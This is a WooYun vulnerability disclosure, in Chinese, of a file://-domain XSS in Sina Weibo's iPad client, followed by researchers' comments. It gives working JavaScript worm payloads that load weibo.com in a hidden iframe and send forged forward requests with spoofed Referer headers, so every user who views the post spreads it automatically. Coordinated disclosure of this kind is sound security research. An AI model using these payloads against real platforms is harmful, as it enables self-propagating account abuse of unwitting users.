当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-098586

漏洞标题:新浪微博IPAD客户端XSS(file域)+构造Worm

相关厂商:新浪

漏洞作者: izy

提交时间:2015-02-27 16:37

修复时间:2015-04-13 16:58

公开时间:2015-04-13 16:58

漏洞类型:xss跨站脚本攻击

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-02-27: 细节已通知厂商并且等待厂商处理中
2015-03-02: 厂商已经确认,细节仅向厂商公开
2015-03-12: 细节向核心白帽子及相关领域专家公开
2015-03-22: 细节向普通白帽子公开
2015-04-01: 细节向实习白帽子公开
2015-04-13: 细节向公众公开

简要描述:

这个XSS是在本地域(file://)触发的,这就比较有意思了,@phithon告诉因为在safari下,本地域是可以跨任意域的,感谢@phithon牛的帮助..一步步构造worm!

详细说明:

当我们通过第三方APP“快手”,将信息分享到微博时,信息内容就会造成一个XSS。当用户在ipad版微博客户端上查看这条微博的时候,即触发。
(1)首先我下载了快手GIF,拍一段GIF分享,分享位置填入我的XSS POC:

1.png



我的POC只是一个弹窗的alert,在ipad上打开微博APP,点击查看我刚发的分享,即可触发:

2.png


我们看到,这个XSS是在本地域(file://)触发的。@phithon牛说因为在safari下,本地域是可以跨任意域的。
比如跨域请求乌云的首页:

3.png


跨域是什么概念,比如我在这里插入一个XSS,能直接打到你乌云的cookie。当然,只有在你登录了乌云的情况下。
这就造成了一个很大的问题,我试过即使我在外面的safari浏览器中登录了某个网站,但在APP里也获取不到这个网站的COOKIE。二者不属于一个APP,所以数据是隔离的。
实际上,谁会在微博的客户端中去登录乌云呢?
那么,在微博的客户端中,我们登录了哪个网站?当然是weibo.com了,我们用<iframe src=”http://weibo.com”>在客户端中打开微博首页,就能看到我们

4.png


我再试试以下的payload:

document.write("<iframe name='wooyun' src='http://weibo.com'>");
setTimeout(function(){
alert(wooyun.window.document.location.href);
}, 2000);


却发现得到的location.href却是about:blank

5.png


我们注入的javascript并没有到weibo.com的域下,所以我们不能直接控制weibo.com的内容。但经过抓包发现,虽然不能直接插入javascript,但我们的数据包中却带有自己的cookie。
新浪的主要cookie是加了HTTPONLY的,偷cookie没有任何意义,但微博作为国内最大的社交媒体之一,一个蠕虫绝对比偷cookie的威力大的多。
我们来构造蠕虫。对于一个微博,蠕虫最好的方式就是进行转发了,我们抓到了电脑上转发的包:

6.png


如上图,抓包之后进行fuzz,发现在HTTP头中,Referer肯定是不能少的(新浪是用Referer来防御CSRF漏洞),X-Requested-With: XMLHttpRequest和Content-Type: application/x-www-form-urlencoded也必须有。
因为我们可以跨域,所以我们通过ajax来发送POST包,将Referer、X-Requested-With、Content-Type加入header。
在chrome下,我们是不能通过ajax修改Referer的,但safari却没这么安全的设置。@phithon牛用到了parsec团队兔子君编写的love.js(https://quininer.github.io/tests/love.js)来辅助编写payload:

love.req.ajax("http://weibo.com/", "pic_src=&appkey=&mid=3814845696408506&style_type=1&mark=&reason=%E8%BD%AC%E5%8F%91%E5%BE%AE%E5%8D%9A&location=page_100505_home&pdetail=1005055462247711&module=&page_module_id=&refer_sort=&rank=0&rankid=&_t=0", {
"Referer": "http://weibo.com/",
"X-Requested-With": "XMLHttpRequest",
"Content-Type": "application/x-www-form-urlencoded"
}, function(data){
alert(data.target.responseText);
});


但是将这个payload传上去之后却发现,返回的包确实要求我登录的:

7.png


明明应该有weibo.com的cookie的呀?后来发现,原来是因为我长时间(这个测试是第二天做的)不操作,所以cookie已经过期了。只要我们再用iframe加载一次weibo.com,即可重新获得cookie。
最终payload:

document.write("<iframe id=hi src=http://weibo.com ></iframe>")
love.req.ajax("http://weibo.com/aj/v6/mblog/forward?ajwvr=6&domain=100505&__rnd=1425013147163", "pic_src=&appkey=&mid=3814845696408506&style_type=1&mark=&reason=%E8%BD%AC%E5%8F%91%E5%BE%AE%E5%8D%9A&location=page_100505_home&pdetail=1005055462247711&module=&page_module_id=&refer_sort=&rank=0&rankid=&_t=0", {
"Referer": "http://weibo.com/",
"X-Requested-With": "XMLHttpRequest",
"Content-Type": "application/x-www-form-urlencoded"
}, function(data){
alert(data.target.responseText);
});


触发payload发现返回结果变了,已经成功转发微博(实战中将这个弹窗去掉,并可以将iframe的width和height设置为0,让用户察觉不到自己受到危害):

8.png


查看自己的主页已经看到转发了:

9.png


这样就形成了一个新浪微博的蠕虫。只要查看了我这个微博的用户,即会自动转发这条微博。我们甚至可以把“转发微博”那四个字改成@好友,这样传播下去,只要用了ipad版微博客户端的用户都会触发XSS,再次转发,形成一个一传十十传百的效果。
这篇文章由izy和phithon完成,感谢@phithon牛的帮助,让我们更多接触了客户端XSS和客户端蠕虫。

漏洞证明:

9.png

修复方案:

过滤.

版权声明:转载请注明来源 izy@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2015-03-02 14:03

厂商回复:

感谢关注新浪安全,漏洞修复中。

最新状态:

暂无


漏洞评价:

评论

  1. 2015-02-27 16:41 | phith0n 认证白帽子 ( 核心白帽子 | Rank:656 漏洞数:107 | 一个想当文人的黑客~)

    顶学弟一个!~

  2. 2015-02-27 18:06 | Chu ( 实习白帽子 | Rank:64 漏洞数:9 | 学习ing。)

    特前来顶帖

  3. 2015-02-27 19:04 | izy ( 普通白帽子 | Rank:111 漏洞数:22 | http://1zy.pw/)

    @Chu 233333

  4. 2015-03-01 00:33 | scanf ( 核心白帽子 | Rank:1232 漏洞数:186 | 。)

    不错

  5. 2015-04-03 08:52 | qhwlpg ( 普通白帽子 | Rank:226 漏洞数:54 | 潜心代码审计。)

    @phith0n @izy学弟。。。求当学弟

  6. 2015-04-13 19:35 | 屠龙宝刀点击就送 ( 路人 | Rank:4 漏洞数:2 | 简要介绍不能为空)

    思路很不错